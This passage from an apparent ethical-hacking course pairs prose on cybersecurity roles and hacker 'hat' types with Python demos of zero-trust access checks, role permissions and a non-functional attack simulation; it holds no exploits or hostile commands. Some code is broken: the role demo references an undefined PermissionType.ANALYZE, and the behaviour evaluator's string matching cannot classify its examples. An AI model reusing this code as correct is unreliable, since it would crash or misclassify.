    print(" 🔒 ZERO TRUST ARCHITECTURE DEMONSTRATION")
    print("=" * 60)
    
    # Initialize Zero Trust
    zta = ZeroTrustArchitecture("MyZeroTrustSystem")
    
    # Add users with MFA
    print("\n 👤 Adding Users...")
    zta.add_user("alice", "StrongPass123!", "654321", TrustLevel.HIGH)
    zta.add_user("bob", "SecurePass456!", "123456", TrustLevel.MEDIUM)
    zta.add_user("charlie", "Pass789!", "789012", TrustLevel.LOW)
    
    # Add devices
    print("\n 📱 Adding Devices...")
    zta.add_device("alice", "device_alice_001", compliant=True)
    zta.add_device("bob", "device_bob_001", compliant=False)
    zta.add_device("charlie", "device_charlie_001", compliant=True)
    
    # Add policies
    print("\n 📋 Adding Policies...")
    zta.add_policy(
        "Public Read Access",
        "*",
        "public/*",
        "read",
        True,
        require_mfa=False,
        trust_level=TrustLevel.LOW
    )
    
    zta.add_policy(
        "Sensitive Data Access",
        "*",
        "sensitive/*",
        "read",
        True,
        require_mfa=True,
        trust_level=TrustLevel.HIGH
    )
    
    zta.add_policy(
        "Admin Access",
        "alice",
        "admin/*",
        "*",
        True,
        require_mfa=True,
        trust_level=TrustLevel.MAXIMUM
    )
    
    # Test access requests
    print("\n 🔐 Testing Access Requests:")
    print("-" * 40)
    
    # Alice accessing public resource
    print("\n  Alice -> public/data (read):")
    request = AccessRequest(
        user="alice",
        resource="public/data",
        action="read",
        device_id="device_alice_001",
        ip_address="192.168.1.100",
        timestamp=time.time()
    )
    decision = zta.evaluate_access(request)
    print(f"   Decision: {decision.value}")
    
    # Bob accessing sensitive resource
    print("\n  Bob -> sensitive/finance (read):")
    request = AccessRequest(
        user="bob",
        resource="sensitive/finance",
        action="read",
        device_id="device_bob_001",
        ip_address="192.168.1.101",
        timestamp=time.time()
    )
    decision = zta.evaluate_access(request)
    print(f"   Decision: {decision.value}")
    
    # Charlie accessing admin resource
    print("\n  Charlie -> admin/settings (write):")
    request = AccessRequest(
        user="charlie",
        resource="admin/settings",
        action="write",
        device_id="device_charlie_001",
        ip_address="192.168.1.102",
        timestamp=time.time()
    )
    decision = zta.evaluate_access(request)
    print(f"   Decision: {decision.value}")
    
    # Alice accessing admin resource
    print("\n  Alice -> admin/users (manage):")
    request = AccessRequest(
        user="alice",
        resource="admin/users",
        action="manage",
        device_id="device_alice_001",
        ip_address="192.168.1.100",
        timestamp=time.time()
    )
    decision = zta.evaluate_access(request)
    print(f"   Decision: {decision.value}")
    
    # Display status
    zta.display_status()
    
    # View access logs
    zta.view_access_logs()
    
    # Analytics
    print("\n 📊 Analytics:")
    print("-" * 40)
    
    analytics = zta.get_analytics()
    for key, value in analytics.items():
        if isinstance(value, float):
            print(f"  {key.replace('_', ' ').title()}: {value:.2%}")
        else:
            print(f"  {key.replace('_', ' ').title()}: {value}")
    
    print("\n" + "=" * 60)
    print(" ✅ ZERO TRUST DEMONSTRATION COMPLETE")
    print("=" * 60)
    print("\n  Zero Trust Principles Demonstrated:")
    print("  1. Never Trust, Always Verify (MFA)")
    print("  2. Least Privilege Access (Policies)")
    print("  3. Device Compliance Verification")
    print("  4. Continuous Risk Assessment")
    print("  5. Micro-Segmentation")
    print("  6. Comprehensive Access Logging")

if __name__ == "__main__":
    zero_trust_demo()

1.1.5 Cybersecurity and Ethical Hacking

The terms cybersecurity and ethical hacking are related but not interchangeable, and confusing them will cause you to misunderstand your own role.

Cybersecurity is the broader field. It encompasses every practice, policy, tool, and process used to protect computer systems, networks, and data from attack. A cybersecurity professional might:

  • Configure firewalls
  • Write security policies
  • Monitor network traffic for suspicious activity
  • Train employees not to click phishing emails
  • Respond to an active breach

Their orientation is fundamentally defensive. They are building and maintaining the walls.

Ethical Hacking: Also known as penetration testing, ethical hacking is a cybersecurity discipline that involves legally identifying and testing vulnerabilities in systems, networks, and applications. An ethical hacker is hired by an organization to attack its own systems before a real attacker does. The purpose is to find vulnerabilities — weaknesses in the software, network configuration, or human behaviour — so they can be fixed. The ethical hacker uses exactly the same tools and techniques as a criminal hacker. The single difference is written authorization. Without that document, the same actions constitute a serious crime.

Analogy: A locksmith who breaks into your house at your request because you lost your keys is providing a service. A locksmith who breaks into your house without your knowledge is a burglar. The skill is identical. The permission is what separates a professional from a criminal.

This distinction is not philosophical. It is legal. In most countries, accessing a computer system without explicit permission is a criminal offence regardless of your intent or what you find.

"""
CYBERSECURITY ROLE AND ETHICAL BEHAVIOR FRAMEWORK
==================================================
Complete implementation of cybersecurity roles, permissions, skills,
and ethical behavior guidelines with certification tracking
"""

from typing import Dict, List, Any, Optional, Set
from enum import Enum
from dataclasses import dataclass, field
from datetime import datetime
import hashlib

# ============================================================================
# ENUMS AND TYPES
# ============================================================================

class RoleType(Enum):
    """Cybersecurity role types"""
    DEFENSIVE = "defensive"
    OFFENSIVE = "offensive"
    HYBRID = "hybrid"
    MANAGEMENT = "management"
    GOVERNANCE = "governance"

class SkillCategory(Enum):
    """Skill categories"""
    TECHNICAL = "technical"
    ANALYTICAL = "analytical"
    MANAGERIAL = "managerial"
    COMMUNICATION = "communication"
    LEGAL = "legal"

class PermissionType(Enum):
    """Permission types"""
    READ = "read"
    WRITE = "write"
    EXECUTE = "execute"
    ADMIN = "admin"
    MONITOR = "monitor"
    ASSESS = "assess"
    MITIGATE = "mitigate"
    RESPOND = "respond"

class CertificationLevel(Enum):
    """Certification levels"""
    ENTRY = "entry"
    INTERMEDIATE = "intermediate"
    ADVANCED = "advanced"
    EXPERT = "expert"
    MASTER = "master"

class EthicalBehavior(Enum):
    """Ethical behavior classification"""
    ETHICAL = "ethical"
    UNETHICAL = "unethical"
    GRAY_AREA = "gray_area"
    ILLEGAL = "illegal"

# ============================================================================
# DATA CLASSES
# ============================================================================

@dataclass
class Skill:
    """Skill representation"""
    name: str
    category: SkillCategory
    level: int = 1  # 1-5
    description: str = ""

@dataclass
class Permission:
    """Permission representation"""
    name: str
    permission_type: PermissionType
    resource: str
    description: str = ""

@dataclass
class Certification:
    """Certification representation"""
    name: str
    issuer: str
    level: CertificationLevel
    issued_date: float
    expiry_date: Optional[float] = None
    credential_id: str = ""

@dataclass
class EthicalGuideline:
    """Ethical guideline"""
    id: str
    category: str
    description: str
    behavior: EthicalBehavior
    example: str
    consequences: str

# ============================================================================
# CYBERSECURITY ROLE CLASS
# ============================================================================

class CybersecurityRole:
    """
    Complete cybersecurity role implementation with:
    - Role-based permissions
    - Skill management
    - Certification tracking
    - Ethical guidelines
    - Task execution
    """
    
    def __init__(self, name: str, role_type: RoleType):
        self.name = name
        self.role_type = role_type
        self.permissions: List[Permission] = []
        self.skills: List[Skill] = []
        self.certifications: List[Certification] = []
        self.ethical_guidelines: List[EthicalGuideline] = []
        self.task_history: List[Dict] = []
        self.assigned_users: Set[str] = set()
        self.created_at = datetime.now()
        self.is_active = True
        
        # Initialize with default ethical guidelines
        self._initialize_ethical_guidelines()
        
        print(f" 👤 Cybersecurity Role Created: {name} ({role_type.value})")
    
    def _initialize_ethical_guidelines(self) -> None:
        """Initialize default ethical guidelines"""
        guidelines = [
            EthicalGuideline(
                id="ETH_001",
                category="Authorization",
                description="Only test systems with explicit written authorization",
                behavior=EthicalBehavior.ETHICAL,
                example="Getting signed permission before penetration testing",
                consequences="Legal action, termination, criminal charges"
            ),
            EthicalGuideline(
                id="ETH_002",
                category="Data Protection",
                description="Never access or exfiltrate sensitive data without authorization",
                behavior=EthicalBehavior.UNETHICAL,
                example="Accessing customer data during security testing",
                consequences="Data breach, legal liability, reputation damage"
            ),
            EthicalGuideline(
                id="ETH_003",
                category="Reporting",
                description="Report vulnerabilities responsibly and confidentially",
                behavior=EthicalBehavior.ETHICAL,
                example="Submitting vulnerabilities through proper channels",
                consequences="Public disclosure of vulnerabilities"
            ),
            EthicalGuideline(
                id="ETH_004",
                category="Scope",
                description="Never exceed the defined scope of security testing",
                behavior=EthicalBehavior.UNETHICAL,
                example="Testing systems outside authorized scope",
                consequences="System damage, legal consequences"
            ),
            EthicalGuideline(
                id="ETH_005",
                category="Tools",
                description="Only use approved tools and techniques",
                behavior=EthicalBehavior.ETHICAL,
                example="Using enterprise-approved security tools",
                consequences="Malware introduction, system compromise"
            ),
            EthicalGuideline(
                id="ETH_006",
                category="Disclosure",
                description="Never publicly disclose vulnerabilities without proper process",
                behavior=EthicalBehavior.UNETHICAL,
                example="Posting vulnerability details on social media",
                consequences="Regulatory violations, loss of trust"
            )
        ]
        self.ethical_guidelines.extend(guidelines)
    
    # =========================================================================
    # PERMISSION MANAGEMENT
    # =========================================================================
    
    def add_permission(self, name: str, permission_type: PermissionType,
                       resource: str, description: str = "") -> None:
        """Add a permission to the role"""
        permission = Permission(name, permission_type, resource, description)
        self.permissions.append(permission)
        print(f" ✅ Permission added: {name} ({permission_type.value})")
    
    def remove_permission(self, name: str) -> bool:
        """Remove a permission from the role"""
        for i, perm in enumerate(self.permissions):
            if perm.name == name:
                del self.permissions[i]
                print(f" 🗑️  Permission removed: {name}")
                return True
        print(f" ❌ Permission not found: {name}")
        return False
    
    def has_permission(self, permission_type: PermissionType, resource: str) -> bool:
        """Check if the role has a specific permission"""
        for perm in self.permissions:
            if perm.permission_type == permission_type and perm.resource == resource:
                return True
        return False
    
    def get_permissions(self, permission_type: PermissionType = None) -> List[Permission]:
        """Get all permissions, optionally filtered by type"""
        if permission_type:
            return [p for p in self.permissions if p.permission_type == permission_type]
        return self.permissions
    
    # =========================================================================
    # SKILL MANAGEMENT
    # =========================================================================
    
    def add_skill(self, name: str, category: SkillCategory, 
                  level: int = 1, description: str = "") -> None:
        """Add a skill to the role"""
        skill = Skill(name, category, level, description)
        self.skills.append(skill)
        print(f" 🎯 Skill added: {name} (Level {level})")
    
    def update_skill_level(self, name: str, new_level: int) -> bool:
        """Update skill level"""
        for skill in self.skills:
            if skill.name == name:
                old_level = skill.level
                skill.level = new_level
                print(f" 📊 Skill updated: {name} {old_level} → {new_level}")
                return True
        print(f" ❌ Skill not found: {name}")
        return False
    
    def get_skills(self, category: SkillCategory = None) -> List[Skill]:
        """Get all skills, optionally filtered by category"""
        if category:
            return [s for s in self.skills if s.category == category]
        return self.skills
    
    def get_skill_matrix(self) -> Dict[str, Dict[str, int]]:
        """Get skill matrix by category"""
        matrix = {}
        for skill in self.skills:
            category = skill.category.value
            if category not in matrix:
                matrix[category] = {}
            matrix[category][skill.name] = skill.level
        return matrix
    
    # =========================================================================
    # CERTIFICATION MANAGEMENT
    # =========================================================================
    
    def add_certification(self, name: str, issuer: str, 
                         level: CertificationLevel,
                         expiry_date: Optional[float] = None) -> None:
        """Add a certification to the role"""
        certification = Certification(
            name=name,
            issuer=issuer,
            level=level,
            issued_date=datetime.now().timestamp(),
            expiry_date=expiry_date,
            credential_id=hashlib.md5(f"{name}{issuer}{datetime.now()}".encode()).hexdigest()[:8]
        )
        self.certifications.append(certification)
        print(f" 📜 Certification added: {name} ({level.value})")
    
    def is_certified(self, name: str) -> bool:
        """Check if the role has a specific certification"""
        for cert in self.certifications:
            if cert.name == name:
                # Check if expired
                if cert.expiry_date and datetime.now().timestamp() > cert.expiry_date:
                    return False
                return True
        return False
    
    def get_certifications(self) -> List[Certification]:
        """Get all certifications"""
        return self.certifications
    
    # =========================================================================
    # TASK EXECUTION
    # =========================================================================
    
    def perform_task(self, task: str, context: Dict = None) -> Dict:
        """
        Perform a security task with role-specific behavior
        """
        task_result = {
            "task": task,
            "role": self.name,
            "role_type": self.role_type.value,
            "timestamp": datetime.now().isoformat(),
            "status": "completed"
        }
        
        # Check permissions for task
        if task in ["system_testing", "vulnerability_assessment"]:
            if not self.has_permission(PermissionType.ASSESS, "systems"):
                task_result["status"] = "denied"
                task_result["error"] = "Insufficient permissions"
                print(f" ❌ {self.name} denied: {task} (Permission required)")
                self.task_history.append(task_result)
                return task_result
        
        # Execute task based on role type
        if self.role_type == RoleType.DEFENSIVE:
            print(f" 🛡️ {self.name} (Defensive): Protecting against {task}")
            task_result["action"] = "protection"
            task_result["details"] = f"Implemented defensive measures for {task}"
            
        elif self.role_type == RoleType.OFFENSIVE:
            print(f" 🔴 {self.name} (Offensive): Testing for {task}")
            task_result["action"] = "testing"
            task_result["details"] = f"Conducted offensive security testing for {task}"
            
        elif self.role_type == RoleType.HYBRID:
            print(f" 🟣 {self.name} (Hybrid): Combined approach for {task}")
            task_result["action"] = "combined"
            task_result["details"] = f"Applied both defensive and offensive strategies for {task}"
            
        else:
            print(f" 👔 {self.name} ({self.role_type.value}): Managing {task}")
            task_result["action"] = "management"
            task_result["details"] = f"Managed security operations for {task}"
        
        # Log task
        self.task_history.append(task_result)
        return task_result
    
    def get_task_history(self, limit: int = 10) -> List[Dict]:
        """Get task history"""
        return self.task_history[-limit:]
    
    # =========================================================================
    # ETHICAL BEHAVIOR
    # =========================================================================
    
    def add_ethical_guideline(self, guideline: EthicalGuideline) -> None:
        """Add an ethical guideline"""
        self.ethical_guidelines.append(guideline)
    
    def evaluate_behavior(self, behavior: str) -> Dict:
        """Evaluate if a behavior is ethical"""
        evaluation = {
            "behavior": behavior,
            "classification": EthicalBehavior.ETHICAL,
            "guidelines": [],
            "recommendation": "Approved"
        }
        
        # Check against ethical guidelines
        for guideline in self.ethical_guidelines:
            if guideline.description.lower() in behavior.lower():
                evaluation["guidelines"].append(guideline.id)
                if guideline.behavior == EthicalBehavior.UNETHICAL:
                    evaluation["classification"] = EthicalBehavior.UNETHICAL
                    evaluation["recommendation"] = "Not Approved - Violation"
                elif guideline.behavior == EthicalBehavior.ILLEGAL:
                    evaluation["classification"] = EthicalBehavior.ILLEGAL
                    evaluation["recommendation"] = "Immediate Action Required"
        
        return evaluation
    
    def get_ethical_guidelines(self) -> List[EthicalGuideline]:
        """Get all ethical guidelines"""
        return self.ethical_guidelines
    
    # =========================================================================
    # DISPLAY AND REPORTING
    # =========================================================================
    
    def display_info(self) -> None:
        """Display comprehensive role information"""
        print("\n" + "=" * 60)
        print(f" 👤 {self.name}")
        print("=" * 60)
        
        print(f"\n 📋 Role Information:")
        print(f"    Type: {self.role_type.value}")
        print(f"    Status: {'🟢 Active' if self.is_active else '🔴 Inactive'}")
        print(f"    Created: {self.created_at.strftime('%Y-%m-%d %H:%M')}")
        print(f"    Assigned Users: {len(self.assigned_users)}")
        
        print(f"\n 🔑 Permissions:")
        if self.permissions:
            for perm in self.permissions:
                print(f"    • {perm.name}: {perm.permission_type.value} on {perm.resource}")
        else:
            print("    No permissions assigned")
        
        print(f"\n 🎯 Skills:")
        if self.skills:
            for skill in self.skills:
                level_stars = "⭐" * skill.level + "☆" * (5 - skill.level)
                print(f"    • {skill.name}: {level_stars} ({skill.category.value})")
        else:
            print("    No skills assigned")
        
        print(f"\n 📜 Certifications:")
        if self.certifications:
            for cert in self.certifications:
                expiry = f"Expires: {datetime.fromtimestamp(cert.expiry_date).strftime('%Y-%m-%d')}" if cert.expiry_date else "No expiry"
                print(f"    • {cert.name} ({cert.level.value}) - {cert.issuer} ({expiry})")
        else:
            print("    No certifications")
        
        print(f"\n 📊 Recent Tasks:")
        for task in self.task_history[-3:]:
            status = "✅" if task["status"] == "completed" else "❌"
            print(f"    {status} {task['task']} - {task['timestamp']}")
        
        print(f"\n ⚖️  Ethical Guidelines:")
        for guideline in self.ethical_guidelines[:3]:
            behavior = "✅" if guideline.behavior == EthicalBehavior.ETHICAL else "⚠️"
            print(f"    {behavior} {guideline.category}: {guideline.description[:50]}...")
        
        print("=" * 60)
    
    def generate_report(self) -> Dict[str, Any]:
        """Generate comprehensive role report"""
        return {
            "name": self.name,
            "role_type": self.role_type.value,
            "status": "active" if self.is_active else "inactive",
            "created_at": self.created_at.isoformat(),
            "permissions": [{"name": p.name, "type": p.permission_type.value, "resource": p.resource} 
                          for p in self.permissions],
            "skills": [{"name": s.name, "category": s.category.value, "level": s.level} 
                      for s in self.skills],
            "certifications": [{"name": c.name, "issuer": c.issuer, "level": c.level.value} 
                             for c in self.certifications],
            "task_count": len(self.task_history),
            "ethical_guidelines": [{"id": g.id, "category": g.category, "behavior": g.behavior.value} 
                                  for g in self.ethical_guidelines]
        }

# ============================================================================
# HELPER FUNCTIONS
# ============================================================================

def compare_ethical_behavior(behavior1: str, behavior2: str) -> Dict:
    """Compare two behaviors for ethical classification"""
    behaviors = {
        "authorized_testing": EthicalBehavior.ETHICAL,
        "unauthorized_testing": EthicalBehavior.UNETHICAL,
        "data_theft": EthicalBehavior.ILLEGAL,
        "vulnerability_disclosure": EthicalBehavior.ETHICAL,
        "public_exploit": EthicalBehavior.UNETHICAL,
        "social_engineering": EthicalBehavior.GRAY_AREA
    }
    
    comparison = {
        "behavior1": behavior1,
        "behavior2": behavior2,
        "classification1": behaviors.get(behavior1, EthicalBehavior.GRAY_AREA).value,
        "classification2": behaviors.get(behavior2, EthicalBehavior.GRAY_AREA).value,
        "comparison": "Similar" if behaviors.get(behavior1) == behaviors.get(behavior2) else "Different"
    }
    
    return comparison

# ============================================================================
# DEMONSTRATION
# ============================================================================

def cybersecurity_role_demo():
    """Demonstrate cybersecurity role functionality"""
    
    print("=" * 60)
    print(" 🔒 CYBERSECURITY ROLE & ETHICAL BEHAVIOR DEMONSTRATION")
    print("=" * 60)
    
    # Create defensive role
    print("\n 🛡️  Creating Defensive Role...")
    soc_analyst = CybersecurityRole("SOC Analyst", RoleType.DEFENSIVE)
    soc_analyst.add_permission("network_monitoring", PermissionType.MONITOR, "networks")
    soc_analyst.add_permission("alert_analysis", PermissionType.ANALYZE, "alerts")
    soc_analyst.add_permission("incident_response", PermissionType.RESPOND, "incidents")
    
    soc_analyst.add_skill("log_analysis", SkillCategory.TECHNICAL, 4)
    soc_analyst.add_skill("incident_response", SkillCategory.TECHNICAL, 3)
    soc_analyst.add_skill("threat_intelligence", SkillCategory.ANALYTICAL, 3)
    soc_analyst.add_skill("communication", SkillCategory.COMMUNICATION, 4)
    
    soc_analyst.add_certification("CISSP", "ISC2", CertificationLevel.ADVANCED)
    soc_analyst.add_certification("CISA", "ISACA", CertificationLevel.INTERMEDIATE)
    
    # Create offensive role
    print("\n 🔴 Creating Offensive Role...")
    pen_tester = CybersecurityRole("Penetration Tester", RoleType.OFFENSIVE)
    pen_tester.add_permission("system_testing", PermissionType.ASSESS, "systems")
    pen_tester.add_permission("vulnerability_assessment", PermissionType.ANALYZE, "vulnerabilities")
    pen_tester.add_permission("exploit_development", PermissionType.EXECUTE, "exploits")
    
    pen_tester.add_skill("network_scanning", SkillCategory.TECHNICAL, 5)
    pen_tester.add_skill("exploitation", SkillCategory.TECHNICAL, 4)
    pen_tester.add_skill("reverse_engineering", SkillCategory.TECHNICAL, 3)
    pen_tester.add_skill("reporting", SkillCategory.COMMUNICATION, 4)
    
    pen_tester.add_certification("OSCP", "Offensive Security", CertificationLevel.ADVANCED)
    pen_tester.add_certification("CEH", "EC-Council", CertificationLevel.INTERMEDIATE)
    
    # Create hybrid role
    print("\n 🟣 Creating Hybrid Role...")
    security_architect = CybersecurityRole("Security Architect", RoleType.HYBRID)
    security_architect.add_permission("system_design", PermissionType.WRITE, "architectures")
    security_architect.add_permission("security_review", PermissionType.ANALYZE, "designs")
    
    security_architect.add_skill("architecture_design", SkillCategory.TECHNICAL, 5)
    security_architect.add_skill("risk_assessment", SkillCategory.ANALYTICAL, 4)
    security_architect.add_skill("security_frameworks", SkillCategory.MANAGERIAL, 4)
    
    security_architect.add_certification("SABSA", "SABSA Institute", CertificationLevel.ADVANCED)
    security_architect.add_certification("TOGAF", "Open Group", CertificationLevel.ADVANCED)
    
    # Display roles
    soc_analyst.display_info()
    pen_tester.display_info()
    security_architect.display_info()
    
    # Perform tasks
    print("\n 📝 Performing Tasks:")
    print("-" * 40)
    
    soc_analyst.perform_task("Analyze security alerts")
    soc_analyst.perform_task("Respond to phishing incident")
    
    pen_tester.perform_task("Network vulnerability assessment")
    pen_tester.perform_task("Web application penetration testing")
    
    security_architect.perform_task("Design zero trust architecture")
    
    # Demonstrate ethical behavior
    print("\n ⚖️  Ethical Behavior Examples:")
    print("-" * 40)
    
    ethical_actions = [
        "Testing systems with written authorization",
        "Testing systems without permission",
        "Using hacking skills to steal or damage"
    ]
    
    for action in ethical_actions:
        evaluation = pen_tester.evaluate_behavior(action)
        symbol = "✅" if evaluation["classification"] == EthicalBehavior.ETHICAL else "❌"
        print(f"\n  {symbol} {action}")
        print(f"    Classification: {evaluation['classification'].value}")
        print(f"    Recommendation: {evaluation['recommendation']}")
    
    # Generate reports
    print("\n 📊 Role Reports:")
    print("-" * 40)
    
    for role in [soc_analyst, pen_tester, security_architect]:
        report = role.generate_report()
        print(f"\n  {report['name']}:")
        print(f"    Permissions: {len(report['permissions'])}")
        print(f"    Skills: {len(report['skills'])}")
        print(f"    Certifications: {len(report['certifications'])}")
        print(f"    Tasks Performed: {report['task_count']}")
    
    print("\n" + "=" * 60)
    print(" ✅ CYBERSECURITY ROLE DEMONSTRATION COMPLETE")
    print("=" * 60)
    print("\n  Key Concepts Demonstrated:")
    print("  1. Role-based permissions and access control")
    print("  2. Skill management and certification tracking")
    print("  3. Task execution based on role type")
    print("  4. Ethical behavior classification and guidelines")
    print("  5. Defensive vs Offensive vs Hybrid roles")

if __name__ == "__main__":
    cybersecurity_role_demo()

1.1.6 Types of Hackers: White Hat, Black Hat, and Grey Hat

The security community uses the metaphor of hat colours, borrowed from old Western films where the villain wore a black hat and the hero wore a white hat, to categorise hackers by their intent and authorisation.

White Hat Hackers: Security professionals who use their skills legally and ethically. They are employed or contracted by organizations to test defenses, find vulnerabilities, and recommend solutions. A penetration tester hired by a bank to attempt to break into its online banking system is a white hat hacker. A security researcher who finds a vulnerability in a software product, reports it privately to the company, and waits for a patch before disclosing it publicly is a white hat hacker. The entire discipline of ethical hacking is white hat work.

Practical Example: Works on platforms like TryHackMe. Reports bugs to companies.

Black Hat Hackers: Criminals who access systems without authorisation, with the intent to steal data, cause damage, extort money, or disrupt services. They may sell stolen data on dark web marketplaces, deploy ransomware, conduct espionage, or simply cause destruction for ideological reasons. There is no grey area here legally. What they do is a criminal offence under the law of virtually every country.

Practical Example: Steals passwords, conducts ransomware attacks.

Grey Hat Hackers: Occupy an uncomfortable middle position. A grey hat hacker might scan a company’s systems without permission, find a vulnerability, and then contact the company to tell them — sometimes demanding payment for the information, sometimes not. Their intent may genuinely be to improve security, but their method is still unauthorized. The access was still illegal. A grey hat hacker cannot use good intentions as a legal defense.

Practical Example: Finds vulnerability without permission, reports it later. Still illegal.

Other Types:

  • Script Kiddies: Inexperienced individuals who use pre-written tools without understanding them
  • Hacktivists: Hackers motivated by political or social causes
  • State-Sponsored Actors: Hackers employed by governments for espionage or cyber warfare
"""
HACKER CLASSIFICATION AND BEHAVIOR FRAMEWORK
=============================================
Complete implementation of hacker types (White Hat, Black Hat, Grey Hat)
with motivations, actions, ethical considerations, and attack simulation
"""

from typing import List, Dict, Any, Optional, Set
from enum import Enum
from dataclasses import dataclass, field
from datetime import datetime

# ============================================================================
# ENUMS AND TYPES
# ============================================================================

class HatColor(Enum):
    """Hacker hat color classification"""
    WHITE = "White"
    BLACK = "Black"
    GREY = "Grey"
    BLUE = "Blue"
    RED = "Red"
    GREEN = "Green"

class Motivation(Enum):
    """Hacker motivations"""
    FINANCIAL_GAIN = "Financial gain"
    ESPIONAGE = "Espionage"
    DISRUPTION = "Disruption"
    IMPROVE_SECURITY = "Improve security"
    PROFESSIONAL_DEVELOPMENT = "Professional development"
    RECOGNITION = "Gain recognition"
    IDEOLOGICAL = "Ideological reasons"
    CURIOSITY = "Curiosity"
    REVENGE = "Revenge"
    CHALLENGE = "Challenge"

class AttackType(Enum):
    """Types of cyber attacks"""
    PENETRATION_TESTING = "Penetration testing"
    VULNERABILITY_DISCLOSURE = "Vulnerability disclosure"
    SECURITY_RESEARCH = "Security research"
    DATA_THEFT = "Data theft"
    RANSOMWARE = "Ransomware"
    IDENTITY_THEFT = "Identity theft"
    DOS_ATTACK = "Denial of Service"
    SOCIAL_ENGINEERING = "Social engineering"
    PHISHING = "Phishing"
    MALWARE = "Malware"
    ZERO_DAY = "Zero day exploitation"

class AttackStatus(Enum):
    """Attack status"""
    PLANNED = "Planned"
    EXECUTED = "Executed"
    SUCCESSFUL = "Successful"
    FAILED = "Failed"
    DETECTED = "Detected"
    MITIGATED = "Mitigated"

# ============================================================================
# DATA CLASSES
# ============================================================================

@dataclass
class Attack:
    """Attack representation"""
    id: str
    type: AttackType
    target: str
    timestamp: float
    status: AttackStatus
    result: str
    permission_obtained: bool = False
    detected: bool = False
    mitigation: Optional[str] = None

@dataclass
class Vulnerability:
    """Vulnerability representation"""
    id: str
    name: str
    severity: int  # 1-10
    description: str
    affected_system: str
    discovered_by: str
    discovered_at: float
    patched: bool = False

@dataclass
class EthicalDecision:
    """Ethical decision record"""
    action: str
    decision: str
    reasoning: str
    timestamp: float
    consequences: List[str]

# ============================================================================
# HACKER CLASS
# ============================================================================

class Hacker:
    """
    Complete hacker classification with:
    - Hat color classification
    - Motivations and actions
    - Ethical framework
    - Attack simulation
    - Vulnerability management
    """
    
    def __init__(self, name: str, hat_color: HatColor, 
                 motivations: List[Motivation], actions: List[AttackType]):
        self.name = name
        self.hat_color = hat_color
        self.motivations = motivations
        self.actions = actions
        self.attacks: List[Attack] = []
        self.vulnerabilities_discovered: List[Vulnerability] = []
        self.ethical_decisions: List[EthicalDecision] = []
        self.attack_count = 0
        self.success_count = 0
        self.discovery_count = 0
        self.created_at = datetime.now()
        self.is_active = True
        self.reputation_score = 0
        
        # Initialize based on hat color
        self._initialize_ethical_framework()
        
        print(f" 🎩 {hat_color.value} Hat Hacker: {name} created")
    
    def _initialize_ethical_framework(self) -> None:
        """Initialize ethical framework based on hat color"""
        if self.hat_color == HatColor.WHITE:
            self.reputation_score = 100
            self.ethical_decisions.append(EthicalDecision(
                action="Ethical Hacking",
                decision="Act with integrity and authorization",
                reasoning="Always obtain proper permission before testing",
                timestamp=datetime.now().timestamp(),
                consequences=["Improved security", "Professional recognition", "Legal protection"]
            ))
            
        elif self.hat_color == HatColor.BLACK:
            self.reputation_score = 0
            self.ethical_decisions.append(EthicalDecision(
                action="Malicious Hacking",
                decision="Act without authorization",
                reasoning="Personal gain at the expense of others",
                timestamp=datetime.now().timestamp(),
                consequences=["Legal consequences", "Criminal prosecution", "Reputation damage"]
            ))
            
        elif self.hat_color == HatColor.GREY:
            self.reputation_score = 50
            self.ethical_decisions.append(EthicalDecision(
                action="Ambiguous Hacking",
                decision="Act in grey area",
                reasoning="Security testing without explicit permission",
                timestamp=datetime.now().timestamp(),
                consequences=["Mixed reactions", "Potential legal issues", "Professional ambiguity"]
            ))
    
    # =========================================================================
    # ATTACK SIMULATION
    # =========================================================================
    
    def perform_attack(self, target: str, attack_type: AttackType,
                       permission: bool = False) -> Attack:
        """
        Simulate performing an attack
        """
        # Determine if attack is allowed based on hat color
        allowed = True
        
        if self.hat_color == HatColor.WHITE:
            if not permission:
                self.ethical_decisions.append(EthicalDecision(
                    action=f"Attempted {attack_type.value} on {target}",
                    decision="Declined - No Permission",
                    reasoning="White hat requires explicit authorization",
                    timestamp=datetime.now().timestamp(),
                    consequences=["No action taken"]
                ))
                print(f" ⚠️  {self.name}: Would not test {target} without permission")
                return None
            
            print(f" ✅ {self.name}: Legally testing {target} with permission")
            
        elif self.hat_color == HatColor.BLACK:
            print(f" 🔴 {self.name}: Illegally attacking {target}")
            
        else:  # Grey hat
            if permission:
                print(f" 🟡 {self.name}: Testing {target} with permission")
            else:
                print(f" 🟡 {self.name}: Potentially unauthorized testing of {target}")
        
        # Simulate attack
        attack = Attack(
            id=f"ATT_{len(self.attacks)+1:04d}",
            type=attack_type,
            target=target,
            timestamp=datetime.now().timestamp(),
            status=AttackStatus.EXECUTED,
            result="Completed",
            permission_obtained=permission,
            detected=False
        )
        
        # Determine outcome based on hat color
        if self.hat_color == HatColor.WHITE:
            attack.status = AttackStatus.SUCCESSFUL
            attack.result = "Vulnerabilities identified and reported"
            self.success_count += 1
            self.reputation_score += 1
            
        elif self.hat_color == HatColor.BLACK:
            if self.success_count < 5:  # Some attacks fail
                attack.status = AttackStatus.SUCCESSFUL
                attack.result = "Attack successful"
                self.success_count += 1
                self.reputation_score -= 1
            else:
                attack.status = AttackStatus.FAILED
                attack.result = "Attack failed"
                
        else:  # Grey hat
            if self.success_count % 2 == 0:
                attack.status = AttackStatus.SUCCESSFUL
                attack.result = "Vulnerability found, disclosure pending"
                self.success_count += 1
            else:
                attack.status = AttackStatus.FAILED
                attack.result = "No significant findings"
        
        self.attacks.append(attack)
        self.attack_count += 1
        
        return attack
    
    # =========================================================================
    # VULNERABILITY MANAGEMENT
    # =========================================================================
    
    def discover_vulnerability(self, name: str, severity: int, 
                               description: str, affected_system: str) -> Vulnerability:
        """
        Discover a vulnerability
        """
        vulnerability = Vulnerability(
            id=f"VULN_{len(self.vulnerabilities_discovered)+1:04d}",
            name=name,
            severity=severity,
            description=description,
            affected_system=affected_system,
            discovered_by=self.name,
            discovered_at=datetime.now().timestamp(),
            patched=False
        )
        
        self.vulnerabilities_discovered.append(vulnerability)
        self.discovery_count += 1
        
        if self.hat_color == HatColor.WHITE:
            print(f" 🔍 {self.name}: Discovered {name} (Severity: {severity}/10)")
            self._handle_vulnerability_disclosure(vulnerability)
        elif self.hat_color == HatColor.BLACK:
            print(f" 💀 {self.name}: Found vulnerability {name} (Potential exploitation)")
        else:
            print(f" 🔎 {self.name}: Identified {name} (Status: Mixed)")
        
        return vulnerability
    
    def _handle_vulnerability_disclosure(self, vulnerability: Vulnerability) -> None:
        """Handle responsible disclosure of vulnerabilities"""
        if self.hat_color == HatColor.WHITE:
            self.ethical_decisions.append(EthicalDecision(
                action=f"Discovered {vulnerability.name}",
